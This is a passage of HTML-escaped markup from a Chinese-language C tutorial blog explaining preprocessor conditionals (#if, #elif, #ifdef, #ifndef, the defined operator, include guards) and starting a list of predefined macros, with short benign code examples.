class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e HAPPY_FACTOR == 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m not happy!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e HAPPY_FACTOR == 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m just regular\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m extra happy!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过\u003ccode\u003e#elif\u003c/code\u003e指定了第二重判断。注意,\u003ccode\u003e#elif\u003c/code\u003e的位置必须在\u003ccode\u003e#else\u003c/code\u003e之前。如果多个判断条件皆不满足,则执行\u003ccode\u003e#else\u003c/code\u003e的部分。\u003c/p\u003e\u003cp\u003e没有定义过的宏,等同于\u003ccode\u003e0\u003c/code\u003e。因此如果\u003ccode\u003eUNDEFINED\u003c/code\u003e是一个没有定义过的宏,那么\u003ccode\u003e#if UNDEFINED\u003c/code\u003e为伪,而\u003ccode\u003e#if !UNDEFINED\u003c/code\u003e为真。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#if\u003c/code\u003e的常见应用就是打开(或关闭)调试模式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e DEBUG 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e DEBUG\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;value of i : %d\\n\u0026#34;\u003c/span\u003e, i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;value of j : %d\\n\u0026#34;\u003c/span\u003e, j);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过将\u003ccode\u003eDEBUG\u003c/code\u003e设为\u003ccode\u003e1\u003c/code\u003e,就打开了调试模式,可以输出调试信息。\u003c/p\u003e\u003cp\u003eGCC 的\u003ccode\u003e-D\u003c/code\u003e参数可以在编译时指定宏的值,因此可以很方便地打开调试开关。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc -DDEBUG=1 foo.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e-D\u003c/code\u003e参数指定宏\u003ccode\u003eDEBUG\u003c/code\u003e为\u003ccode\u003e1\u003c/code\u003e,相当于在代码中指定\u003ccode\u003e#define DEBUG 1\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"ifdef…-endif\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ifdef%E2%80%A6-endif\" class=\"headerlink\" title=\"#ifdef…#endif\"\u003e\u003c/a\u003e#ifdef…#endif\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#ifdef...#endif\u003c/code\u003e指令用于判断某个宏是否定义过。\u003c/p\u003e\u003cp\u003e有时源码文件可能会重复加载某个库,为了避免这种情况,可以在库文件里使用\u003ccode\u003e#define\u003c/code\u003e定义一个空的宏。通过这个宏,判断库文件是否被加载了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e EXTRA_HAPPY\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eEXTRA_HAPPY\u003c/code\u003e就是一个空的宏。\u003c/p\u003e\u003cp\u003e然后,源码文件使用\u003ccode\u003e#ifdef...#endif\u003c/code\u003e检查这个宏是否定义过。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e EXTRA_HAPPY\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m extra happy!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e#ifdef\u003c/code\u003e检查宏\u003ccode\u003eEXTRA_HAPPY\u003c/code\u003e是否定义过。如果已经存在,表示加载过库文件,就会打印一行提示。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#ifdef\u003c/code\u003e可以与\u003ccode\u003e#else\u003c/code\u003e指令配合使用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e EXTRA_HAPPY\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m extra happy!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m just regular\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果宏\u003ccode\u003eEXTRA_HAPPY\u003c/code\u003e没有定义过,就会执行\u003ccode\u003e#else\u003c/code\u003e的部分。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#ifdef...#else...#endif\u003c/code\u003e可以用来实现条件加载。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e MAVIS\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;foo.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e STABLES 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;bar.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e STABLES 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过判断宏\u003ccode\u003eMAVIS\u003c/code\u003e是否定义过,实现加载不同的头文件。\u003c/p\u003e\u003ch3 id=\"defined-运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#defined-%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"defined 运算符\"\u003e\u003c/a\u003edefined 运算符\u003c/h3\u003e\u003cp\u003e上一节的\u003ccode\u003e#ifdef\u003c/code\u003e指令,等同于\u003ccode\u003e#if defined\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e FOO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e defined FOO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003edefined\u003c/code\u003e是一个预处理运算符,如果它的参数是一个定义过的宏,就会返回1,否则返回0。\u003c/p\u003e\u003cp\u003e使用这种语法,可以完成多重判断。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e defined FOO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e defined BAR\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个运算符的一个应用,就是对于不同架构的系统,加载不同的头文件。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e defined IBMPC\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;ibmpc.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e defined MAC\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;mac.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;general.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,不同架构的系统需要定义对应的宏。代码根据不同的宏,加载对应的头文件。\u003c/p\u003e\u003ch3 id=\"ifndef…-endif\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ifndef%E2%80%A6-endif\" class=\"headerlink\" title=\"#ifndef…#endif\"\u003e\u003c/a\u003e#ifndef…#endif\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#ifndef...#endif\u003c/code\u003e指令跟\u003ccode\u003e#ifdef...#endif\u003c/code\u003e正好相反。它用来判断,如果某个宏没有被定义过,则执行指定的操作。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e EXTRA_HAPPY\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m extra happy!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e EXTRA_HAPPY\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;I\u0026#39;m just regular\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,针对宏\u003ccode\u003eEXTRA_HAPPY\u003c/code\u003e是否被定义过,\u003ccode\u003e#ifdef\u003c/code\u003e和\u003ccode\u003e#ifndef\u003c/code\u003e分别指定了两种情况各自需要编译的代码。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#ifndef\u003c/code\u003e常用于防止重复加载。举例来说,为了防止头文件\u003ccode\u003emyheader.h\u003c/code\u003e被重复加载,可以把它放在\u003ccode\u003e#ifndef...#endif\u003c/code\u003e里面加载。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e MYHEADER_H\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e MYHEADER_H\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;myheader.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,宏\u003ccode\u003eMYHEADER_H\u003c/code\u003e对应文件名\u003ccode\u003emyheader.h\u003c/code\u003e的大写。只要\u003ccode\u003e#ifndef\u003c/code\u003e发现这个宏没有被定义过,就说明该头文件没有加载过,从而加载内部的代码,并会定义宏\u003ccode\u003eMYHEADER_H\u003c/code\u003e,防止被再次加载。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#ifndef\u003c/code\u003e等同于\u003ccode\u003e#if !defined\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e FOO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e !defined FOO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"预定义宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E9%A2%84%E5%AE%9A%E4%B9%89%E5%AE%8F\" class=\"headerlink\" title=\"预定义宏\"\u003e\u003c/a\u003e预定义宏\u003c/h3\u003e\u003cp\u003eC 语言提供一些预定义的宏,可以直接使用。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e__DATE__\u003c/code\u003e:编译日期,格式为“Mmm dd yyyy”的字符串(比如 Nov 23 2021)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__TIME__\u003c/code\u003e:编译时间,格式为“hh:mm:ss”。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__FILE__\u003c/code\u003e:当前文件名。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__LINE__\u003c/code\u003e:当前行号。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__func__\u003c/code\u003e:当前正在执行的函数名。该预定义宏必须在函数作用域使用。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__STDC__\u003c/code\u003e:如果被设为1,表示当前编译器遵循 C 